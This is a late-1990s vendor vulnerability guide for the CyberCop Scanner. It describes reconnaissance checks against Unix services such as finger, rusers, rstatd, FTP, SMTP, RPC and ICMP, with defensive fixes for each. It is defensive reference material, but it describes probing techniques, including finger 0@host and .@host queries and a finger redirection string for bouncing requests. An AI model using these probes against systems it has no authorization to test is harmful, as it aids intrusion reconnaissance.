CyberCop Scanner
Vulnerability Guide

For CyberCop Scanner Version 2.5
For Red Hat Linux 5.x

COPYRIGHT

TRADEMARKS

CONTACT INFORMATION

Network Associates, Inc.
Web site: **http://www.nai.com**

CYBERCOP SCANNER VULNERABILITY GUIDE

1: INFORMATION GATHERING AND RECON

1001. Finger access control check

Verbose Description
This check attempts to contact the finger daemon on the target-host and retrieve a list of logged in users.

Security Concerns
The finger service can provide quite a lot of information to outsiders such as:

- o Real names and phone numbers of users
- o User home directory and login shell
- o Amount of time a user has been idle
- o When a user last read e-mail
- o The remote host that a user is logged in from

In addition to revealing possibly private or sensitive information, some of the information finger provides may be used by an attacker to make inferences about trust relationships between hosts on your network, collect usernames for password guessing attempts, obtain phone numbers for "social engineering" attacks, and to monitor the activity on your system.

Suggestions
We suggest that unless you require a finger daemon running, that you disable it by editing your /etc/inetd.conf configuration file and commenting out the appropriate line. Then restart inetd with the new configuration information with the following command:

/bin/kill -HUP <PID of inetd>

If you would prefer not to disable the finger service completely, consider replacing the fingerd program with a version that restricts the content of the information it provides. A finger implementation that allows you to restrict connections with access control lists and that permits more control
over how much information it provides is available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/fingerd/fingerd-1.3.tar.gz

As many installations use finger as a way of checking on systems and determining vital information it is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the finger daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information,

if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"Finger" is an online information service that provides data about users on a system. The information provided by "finger" is frequently sensitive, and can be used by an attacker to focus attacks more effectively, by monitoring who uses the system and how they use it.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1002. Finger 0@host check

Verbose Description
This check attempts to gather user information by fingering 0@target-host.

Security Concerns
Some finger daemons, in response to this request will return a listing of users that have an empty GECOS field entry or that have never logged in. This information may be used by an attacker to collect a list of accounts to crack.

Suggestions
If you are vulnerable to this problem we recommend that you either contact your vendor for a more recent version of the finger daemon or disable it completely by commenting the in.fingerd line out of the file
/etc/inetd.conf
and restarting the inetd program with the command:

/bin/kill -HUP <PID of inetd>

Another option is to replace your fingerd with one of the freely available public-domain fingerd programs.

As many installations use finger as a way of checking on systems and determining vital information it is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed

to query the finger daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"Finger" is an online information service that provides data about users on a system. Some finger servers will provide sensitive information about accounts that have never logged on when they receive a query for the user name "0". Accounts that have never logged in often have easily guessed "default" passwords.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1003. Finger Redirection Check

Verbose Description
A frequently overlooked aspect of the "finger" information system is that many implementations support forwarding of queries, allowing a finger client to request a finger server to ask another finger server for information. This can be used to hide information-gathering attacks by obscuring the source of the attack, or to obtain access to finger servers that are protected by selective network access control.

This check attempts to bounce a remote finger request through the target-host finger daemon. An attempt is made to resolve a finger query that looks like this:

```
user@some-remote-host@target-host
```

Security Concerns
If your finger daemon permits this type of request then anyone on the internet can make an anonymous finger query by bouncing it through your site. Also, if there are hosts on your network that restrict finger information to requests originating on your network, finger redirection can be used to subvert this access control.

Suggestions
If your host is allowing for redirection we suggest you either disable

it from /etc/inetd.conf or replace your finger daemon with a version of fingerd that does not allow this type of finger query.

A finger implementation that allows you to not honor finger indirection requests is available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/fingerd

As many installations use finger as a way of checking on systems and determining vital information it is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/. This tool lets you restrict by IP address and/or hostname whom is allowed to query the finger daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"Finger" is a public information service that provides information about the users on a networked system. The information provided by "finger" is often sensitive in nature, and can allow attackers to gather information which can be helpful in launching further attacks. Some versions of finger are also vulnerable to an attack in which the attacker uses arbitrary finger servers to obscure the source of their information gathering attack and to evade attempts at restricting access to finger.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1004. Finger .@target-host check

Verbose Description
Some implementations of the "finger" information server support a little-known feature triggered by requests for the user ".". In response to this query, these servers will provide a finger client with information about users who have never logged in. These users frequently have easily guessed "default" passwords.

This check attempts to gather user information by fingering .@target-host.

Security Concerns

Some finger daemons, in response to this request will return a listing of users that have never logged in. This information may be used by an attacker to collect a list of accounts to crack.

Suggestions

If you are vulnerable to this problem we recommend that you either contact your vendor for a more recent version of the finger daemon or disable it completely by commenting the in.fingerd line out of the file /etc/inetd.conf and restarting the inetd program with the command:

/bin/kill -HUP <PID of inetd>

Another option is to replace your fingerd with one of the freely available public-domain fingerd programs.

As many installations use finger as a way of checking on systems and determining vital information it is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/. This tool lets you restrict by IP address and/or hostname whom is allowed to query the finger daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description

"Finger" is a public information service that provides information about the users on a networked system. The information provided by "finger" is often sensitive in nature, and can allow attackers to gather information which can be helpful in launching further attacks. Some "finger" servers are vulnerable to an attack that allows an arbitrary finger client to collect information about users who have never logged in. These users frequently have easily guessed passwords; this information thus allows an attacker to launch further attacks against the system.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1005. "rusers" service check

Verbose Description

"rusers" service check

"rusers" is an ONC RPC service that, much like finger, provides information about users currently logged into a Unix system. This information can be used by an attacker to obtain lists of usernames to attempt brute-force password guessing attacks against, and to discover the usage patterns of the system.

This check attempts to retrieve information from the rusers service on the target-host.

Security Concerns
Attackers can use this information to discover usernames and to determine which hosts your remote users are logging in from.

Suggestions
If this service is not necessary for your network, we suggest that you either disable it by commenting the appropriate line out of the file /etc/inetd.conf or that you install some type of access control facility to restrict contact to your RPC services. If you are running SunOS 4.1.X, the securelib library available at

ftp://coast.cs.purdue.edu/pub/tools/unix/securelib

will provide the ability to restrict RPC daemon access by network address.

Like finger rusers can have tcp_wrappers applied to it.
It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the rusers daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"rusers" is a public information service that provides information about the users on a networked system. The information provided by "rusers" is often sensitive in nature, and can allow attackers to gather information which can be helpful in launching further attacks.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Design

Impact of Attack: Intelligence

1006. Telnet service banner present

Verbose Description
The telnet service banner module obtains and displays the telnet banner which is obtained from the target host when connecting to the telnet service.

Security Concerns
If your telnet banner contains information identifying your operating system, this knowledge may be used to launch operating system specific attacks against your network.

Suggestions
If you are concerned about the information displayed in your telnet banner messages, then edit the following files to modify the content of these messages:

- /etc/issue
- /etc/issue.net
- /etc/gettytab
- /bin/login sources

Additionally, we recommend that if you are providing telnet service that you restrict access to only those sites that you expect remote logins from. TCP wrappers can be configured to restrict internet daemon access to approved remote hosts by editing access rules in the following files:

- /etc/hosts.allow
- /etc/hosts.deny

The TCP wrapper package available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers

High Level Description
The "telnet" service allows remote users to log into a computer system. Most "telnet" server implementations provide information about the server to telnet clients attempting to log into the system. While this can be used to present warnings to attackers, it more frequently provides information that can be used by an attacker to learn about the configuration of the system. This information can be used by an attacker to more efficiently attack the system.

Risk Factor: Low
Ease of repair: Simple

Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

1007. Sendmail banners check

Verbose Description
This check collects the message displayed upon connection to the SMTP port of the target-host.

Security Concerns
The SMTP port banner usually contains specific information about version of SMTP agent that you are using. This information can be used to launch specific attacks against software with known vulnerabilities. Sendmail, the most popular SMTP server for unix has an extensive history of security problems. Knowledge of specific version information allows an attacker to predict what sort of attacks may be successful against your system.

Suggestions
Sendmail users can modify banner information by editing the sendmail configuration file /etc/sendmail.cf

Sendmail's current version is 8.9.1. You should check the sendmail web site for the latest version and upgrade your installation to the latest version. Most all earlier versions of sendmail have security problems. You can check for the latest version at http://www.sendmail.org.

If you are not running sendmail as your SMTP agent, then consult the documentation about modifying the version information displayed by your mail daemon.

High Level Description

"SMTP" is the protocol used to deliver all Internet electronic mail. SMTP is driven by mail servers, which listen to requests from SMTP clients to deliver or forward mail. Most SMTP server implementations provide information about the server to SMTP clients attempting to transmit mail messages. While this can be used to present warnings to attackers, it more frequently provides information that can be used by an attacker to learn about the configuration of the mail system. This information can be used by an attacker to more efficiently attack the system.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Popular

Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1008. FTP banner check

Verbose Description
The FTP banner check attempts to gather banner information from the ftp daemon.

Security Concerns
If the FTP banner your host displays specific version information, an attacker can determine what attacks will be successful against your system.

Suggestions
If source code for your version of ftp is unavailable, you can pick up wu-ftp at:
ftp://ftp.academ.com/pub/wu-ftpd/private/ please read the .message file. The directory is not browsable, but the message
will point you to the place to pick up the server software.

FTP can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the ftp daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"FTP" is a protocol that allows files to be transferred between machines on the Internet. FTP servers listen for requests from FTP clients to transfer files, optionally requiring them to log in with a username and password. Many FTP server implementations provide information about the server to FTP clients attempting to log into the system. While this can be used to present warnings to attackers, it more frequently provides information that can be used by an attacker to learn about the configuration of the system. This information can be used by an attacker to more efficiently attack the system.

Risk Factor: Low
Ease of repair: Moderate

Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1009. Anonymous FTP check

Verbose Description
This check attempts to discern whether CyberCop Scanner can access an FTP server as an anonymous FTP user.

Security Concerns
If anonymous FTP has not been configured correctly anonymous users may be able to extend their privileges beyond what you had intended. Consequences of an incorrectly configured anonymous FTP site may include:

- Remote compromise of your network
- Removal and modification of publicly accessible FTP files.
- The use of your site in the traffic of pirated software.

Suggestions
Many Unix systems come with anonymous FTP set up by default. If you are not using anonymous FTP, then disable anonymous FTP access. Otherwise ensure that anonymous FTP is configured correctly. The most important things to check are:

- The ftp account home directory is owned by the superuser
- None of the directories in the ftp hierarchy are writable by the ftp account.
- The passwd file in the ~ftp/etc/ directory does not contain passwords and only lists the few accounts needed for ls to map UIDs to usernames.
- The /etc/ftpusers file contains users who are not allowed to login. Any system accounts and root should be included in this file. It is not advisable that root be given access
- Also check the /etc/ftpaccess file. The file may be located at a different place. This file is usually associated with the wu-ftp server. Verify that the configuration settings in this file are accurate. In this file you can set directories that can be written to, you can force all anonymous PUT commands to be saved with a defined ownership and file permissions. You can also restrict the ability to create directories to anonymous or groups of users. It is a common ploy of "warez" software distributors ("warez" being illegally copied software) to place files on anonymous ftp servers and to create paths to the software that an administrator would not normally see, or would assume is a standard

directory.

FTP can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the ftp daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

References

CERT Advisory CA-88:01.ftpd.hole
ftp://ftp.cert.org/pub/cert_advisories/CA-88:01.ftpd.hole
CERT Advisory CA-92:09.AIX.anonymous.ftp.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-92:09.AIX.anonymous.ftp.vulnerability
CERT Advisory CA-93:10.Anonymous FTP activity
http://www.cert.org/ftp/cert_advisories/CA-93%3a10.anonymous.FTP.activity
CERT Advisory CA-93:06.wuarchive.ftpd.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-93:06.wuarchive.ftpd.vulnerability
CERT Advisory CA-94:07.wuarchive.ftpd.trojan.horse
ftp://ftp.cert.org/pub/cert_advisories/CA-94:07.wuarchive.ftpd.trojan.horse
CERT Advisory CA-94:08.ftpd.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:08.ftpd.vulnerabilities
CERT Advisory CA-95:16.wu-ftpd.vul
ftp://ftp.cert.org/pub/cert_advisories/CA-95:16.wu-ftpd.vul

High Level Description

"FTP" is a protocol that allows files to be transferred between machines on the Internet. FTP servers listen for requests from FTP clients to transfer files, optionally requiring them to log in with a username and password. Many FTP servers can be configured to allow anyone on the Internet to transfer files from the server, as a means of publishing information and programs. This is called "anonymous FTP". Improperly configured anonymous FTP servers can be vulnerable to attack; more importantly, anonymous FTP servers frequently disclose sensitive information about the server and the organization managing it.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

1010. "rstatd" check

Verbose Description
"rstatd" is an ONC RPC service that provides information about the status of a system (including uptime and usage statistics) to the public. In addition to disclosing sensitive information about the configuration and capabilities of a server, "rstatd" can also provide information that is used by some programs to generate random numbers, and can thus be used as a tool to compromise other servers on a system.

This module attempts to poll information from rstatd.

Security Concerns
Rstatd provides several pieces of information about hosts which run it. Along with ethernet statistics it also provides kernel paging information. None of these statistics should be of any interest to anyone who is not a system administrator on the target network.

Suggestions
Unless you need rstatd we suggest you comment it out of your /etc/inetd.conf where it is usually started from. Then kill and restart inetd. If rstatd is not started by inetd, simply kill it, and modify your /etc/rc* scripts so as not to start it after the next reboot. In the event that you are running SunOS we suggest you install securelib, an access control library which provides access control for RPC services.

If rstatd is started from inetd it can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the rstatd daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"rstatd" is a public information service that provides information about the status of a server, including performance statistics. This information is frequently sensitive, and provides clues as to the configuration and performance capabilities of a system.

Risk Factor: Medium

Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Design
Impact of Attack: Intelligence

1011. "X.25" gateway RPC service present

Verbose Description
The target host was found to be running the X.25 RPC gateway service. This is indicative of the target host acting as a gateway to an X.25 packet switched network.

Security Concerns
Gateway hosts are often targets of attackers. Access to an X.25 gateway which has a link onto the Internet provides attackers a convenient staging ground for attacks on both the Internet, and the connected X.25 networks. Traditionally gateways are targeted by attackers so they may monitor network traffic on both networks connected to the gateway. By monitoring the gateway an intruder could become deeply nested on both sides of the gateway and be incredibly difficult to remove.

Suggestions
If you run an X.25 gateway ensure that it is as secure as possible since it can be targeted for attacks from each network it is connected to. Also, be certain that none of your X.25 hardware is configured with default passwords. Default password lists for various X.25 networking devices are widely circulated in the computer underground. If it is practical for your situation, we suggest that configure your PAD software to only accept connections from known trusted X.25 sites and that you do not accept reverse-charged connections from public dialup PADs.

High Level Description
X.25 is an old wide area network protocol for packet switched networks, frequently employed and operated by telecommunications companies. X.25 gateways are frequent targets of attackers, who exploit gateway systems to gain access to private wide area networks, as well as by attackers on the X.25 network attempting to gain access to the Internet.

Risk Factor: Medium
Ease of repair: N/A
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: N/A

Impact of Attack: N/A

1012. "bootparamd" RPC service present

Verbose Description
This check identifies the presence of rpc.bootparamd. If it is present the process will then attempt to coax the NIS domain name from the server.

Security Concerns
rpc.bootparamd is a server that provides vital information to diskless clients on a network running NIS (Sun's Network Information Service). One of the pieces of information that rpc.bootparamd gives it clients is the NIS domain name for the network. If a remote attacker can obtain the NIS domainname from the bootparam server they can make requests for NIS password maps from your NIS server.

Suggestions
If you need the bootparam daemon to boot diskless workstations then we suggest that you restrict host access to NIS maps with NIS securenets. If NIS implementation that you are using does not support securenets, then upgrade to one that does. If you are running NIS on a Sun machine you might want to consider upgrading to a Sun operating system which supports NIS+ (which ships with current versions of Solaris).

High Level Description
Many networks are designed so that some machines will not require disks to boot, but rather will boot from the network filesystem of another machine. In order to implement this, so-called "diskless" clients need to obtain a great deal of information about their network configuration, so that they can talk to the server they need to boot from. One of the programs that provides this information is called "rpc.bootparamd". Unfortunately, this program can be coerced into providing sensitive configuration information to an attacker. This information can be used to launch attacks on other network services.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Authorization

1013. Gopher daemon check

Verbose Description
This check attempts to discover if a gopher daemon is running on the target host.

Security Concerns
If you are running a Gopher server from 1.12 to 2.03 your gopher server has a vulnerability which allows users remote or local to gain access to your gopher account. This will give the intruder access to any files which the gopher account can access.

Suggestions
If you are running a vulnerable version of the Gopher server then update your software with a more current version.

Goper is typically started out of inetd. It can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the gopher daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

References

CERT Advisory CA-93:11.UMN.UNIX.gopher.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-93:11.UMN.UNIX.gopher.vulnerability

High Level Description
"gopher" is an information service much like the World Wide Web, which is now largely obsolete. The presence of a gopher server on a network machine is a possible indicator of an old, vulnerable configuration. Additionally, some gopher server implementations are vulnerable to attacks that allow attackers to execute arbitrary commands on the server.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

1014. IRC server present

Verbose Description
This particular check discerns whether the IRC service is present on the target host.

Security Concerns
Internet Relay Chat (IRC) is a popular place for users of the Internet to gather in chat rooms for discussions. This is true for both legitimate Internet users, and hackers. The prime difference being that hackers tend to realize that users divulge secrets in IRC, over un-encrypted communication channels. In order to capture these secrets hackers attack IRC servers, and often attempt to trojan the server itself to capture 'private' messages being passed between IRC users.

Suggestions
Apply an cryptographic (MD5 or SHA-1) checksum to the IRC server binary itself and keep it stored in an off line or read only file media. Check it against the binary regularly.

High Level Description
"IRC" is a popular network chat system. Most systems that use "IRC" do not run IRC servers, but rather use one of a few large public servers on the Internet. Oftentimes, organizations will configure private IRC servers so that members of the organization can communicate with each other. IRC servers can be protected with access control to prevent outsiders from using private chat servers. If an attacker can access a private IRC server, sensitive information can potentially be obtained from legitimate users of the server.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization Intelligence

1016. Netstat check

Verbose Description

Some operating systems are distributed with an Internet gateway to the "netstat" command enabled in their inetd configuration. These configurations allow arbitrary entities on the Internet to obtain the output of the "netstat" command on these machines. This information can be sensitive.

This check attempts to poll netstat information from a target host.

Security Concerns
The netstat command allows people to display the status of the machine's active network connections, MTU size etc. This information can used by an attacker to make inferences about trust relations between hosts on your network as well as extending outside of your administrative domain.

Suggestions
We suggest you disable netstat by commenting out the appropriate line in /etc/inetd.conf. Then use the following command to restart inetd:

/bin/kill -HUP <PID of inetd>

If netstatd is necessary, it can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the netstat daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description
"netstat" is a command that provides performance and usage statistics about the networking subsystem of a Unix machine. Some operating systems are distributed with an Internet gateway to the netstat command, which allows arbitrary entities on the Internet to run the netstat command on those machines. The information provided by the "netstat" command is sensitive, and can aid an attacker in launching further attacks.

Risk Factor: Medium
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

1017. Systat check

Verbose Description

The "systat" command provides information about the current utilization of resources on a Unix system. Some operating systems are distributed with an Internet gateway to the "systat" command, allowing arbitrary entities on the Internet to gather information from the "systat" command on remote machines. The information available from systat allows an attacker to infer the configuration of the machine, and is thus sensitive.

This check attempts to poll systat information from the target-host.

Security Concerns

The systat service provides the ability to remotely list processes running on your host. This information reveals exactly which software is running on your system and can be used by an attacker to predict which attacks against your host would likely be the most successful.

Suggestions

We suggest you disable systat by commenting out the appropriate line in the

file /etc/inetd.conf, and then using the following command to restart inetd:

/bin/kill -HUP <PID of inetd>

If it is necessary that systat be running it can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the systat daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

High Level Description

"systat" is a Unix command that provides information about the usage of the machine it runs on. Some operating systems are distributed with an Internet gateway to this command, allowing attackers to see it's output. The information available from "systat" allows an attacker to learn the configuration and utlization of a machine, and is thus sensitive.

Risk Factor: Medium
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

1018. FSP daemon check

Verbose Description
This check discerns whether a host is running an FSP daemon.

Security Concerns
FSP is a file transfer protocol similar to FTP which uses UDP to transport files. FSP is widely used by attackers to move files from host to host. It is also used widely by software pirates to allow easy access to caches of illicit software.

Suggestions
If Cybercop Scanner discovers an FSP server on a target-host we suggest you investigate for evidence a break-in or misappropriation of system resources.

High Level Description
"FSP" is a protocol used to transfer files between machines on the Internet. FSP was designed to impact the serving computer less than a traditional FTP server. It never grew to common usage at the Internet archives. It is primarily used by hackers and software pirates because its use is less easily detected.

The presence of an FSP server on a machine is usually evidence of a breakin or misappropriation of computing resources.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization Intelligence

1019. SSH information obtained

Verbose Description
The scanner attempts to poll information from your SSH daemon about it's configuration. The information which can be gathered remotely from an SSH daemon includes:

- SSH Version
- Host key size
- Public key size

- o Authentication methods in use
- o Encryption methods in use

Suggestions
Ensure that everything you see reported by the scanner is exactly what you feel is secure and in accordance to your security policy.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: Medium
Underlying Cause: N/A
Impact of Attack: Intelligence

1021. ESMTP check

Verbose Description
This modules checks if a mailer supports extended SMTP commands via ehlo.

Security Concerns
The ehlo command is used by mail transport agents to query which extended SMTP commands a remote mailer will accept. The more a remote user can discern about your mailer the more likely they it is that they can devise a way to exploit your version of sendmail.

Suggestions
We suggest you run a suitable front end for sendmail, or modify your sendmail code to only return information you feel is safe for the outside world to have.

A popular front end for unix servers is SMAPd. For more information on smapd which is part of the firewall toolkit, see http://www.tis.com/docs/products/fwtk/fwtkoverview.html. The toolkit is free, but not distributable. To get information for aquiring the software, send mail to fwtk-request@tis.com

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1023. Identd username gathering

Verbose Description
This check scans a host running ident and returns the UIDs of network daemons running on the target-host.

Security Concerns
Some versions of identd will return UID information for incoming connections. This can be used by an attacker to determine if any services are running with privileges that they do not require.

Suggestions
We suggest that you obtain an updated version of identd which prevents remote users from obtaining the userids for incoming connections.

Make certain that network daemons are not running with unnecessary privileges.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

1024. Routing table retrieved

Verbose Description
The routing table has been retrieved from the target host's routing daemon. This service utilizes RIP (Routing Information Protocol) to maintain an updated list of routes and routing information for the host it is running on.

Security Concerns
Outside access to your routing table reveals a significant amount of information about the internal structure of your network which can be used to engineer attacks on your systems.

Suggestions
We suggest you ensure any requests to the routing daemon be filtered at your internet gateway. This will also protect your network from an attacker attempting to add false routing entries to your hosts.

Risk Factor: Medium
Ease of repair: Moderate

Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Intelligence

1026. rpc.rquotad check

Verbose Description
The check attempts to poll rpc.rquotad on the target-host for user quota information.

Security Concerns
The rpc.rquotad service provides quota information about NFS mounted filesystems. No authentication is performed by this service, so this information is provided to anyone who makes a request.

Suggestions
rpc.rquotad is usually started out of inetd. If this service is not necessary, you should comment it out of the /etc/inetd.conf file and restart inetd:
kill -HUP <pid of inetd>
Alternately tcp_wrappers could be installed. Tcp_wrappers lets you filter who is allowed access to services started out of inetd based on IP address or host/domain name. While rpc.rquotad may be a necessary service, it is unlikely that the who network needs access to it. Tcp_wrappers can be found at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/

Since this service does not authenticate requests, consider installing some type of host-based access control for your RPC daemons. The securelib replacement libraries for SunOS 4.1.X provides access control functionality.

Securelib is available at:

ftp://coast.cs.purdue.edu/pub/tools/unix/securelib

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

1028. rpc.sprayd check

Verbose Description
The rpc.sprayd service is offered to administrators to determine traffic statistics on a network. An administrator can send the service a stream of packets, and is presented with statistics on the number of packets which have been received.

Security Concerns
rpc.sprayd could be used by remote users to plan a denial of service attack.

Suggestions
The rpc.sprayd service should normally be disabled unless you are testing your network.

rpc.sprayd is usually started out of inetd. If this service is not necessary, you should comment it out of the /etc/inetd.conf file and restart inetd:

kill -HUP <pid of inetd>

Alternately tcp_wrappers could be installed. Tcp_wrappers lets you filter who is allowed access to services started out of inetd based on IP address or host/domain name. While rpc.sprayd may be a necessary service, it is unlikely that the who network needs access to it. Tcp_wrappers can be found at: ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

1032. ICMP timestamp obtained

Verbose Description
The system time was obtained from the target host utilizing a capability present within the ICMP protocol. The ICMP protocol provides an operation to query a remote host for the current system time.

Security Concerns
This information may be used by an attacker when attacking time based authentication protocols.

Suggestions

Disallow ICMP timestamp requests through your firewall.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

1033. ICMP netmask obtained

Verbose Description
The netmask was obtained from the target host utilizing a capability present within the ICMP protocol. The ICMP protocol provides an operation to query a remote host for the network netmask.

Security Concerns
This information can assist an attacker in determining the internal structure of your network, as well as the routing scheme.

Suggestions
Disallow ICMP Netmask requests through your firewall.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

1034. "rpcbind" RPC service present on high numbered port

Verbose Description
This check attempts to determine whether the target host is running a version of rpcbind which listens on a high numbered UDP port above 32770 in addition to the standard port 111. This has been known to occur on the Solaris operating system.

Security Concerns
Filters intended to block portmapper/rpcbind will be ineffective unless UDP ports above 32770 are also blocked.

Suggestions
Disallow UDP packets destined for UDP ports higher than 32770 through your packet filter and install vendor supplied portmapper patch.

References
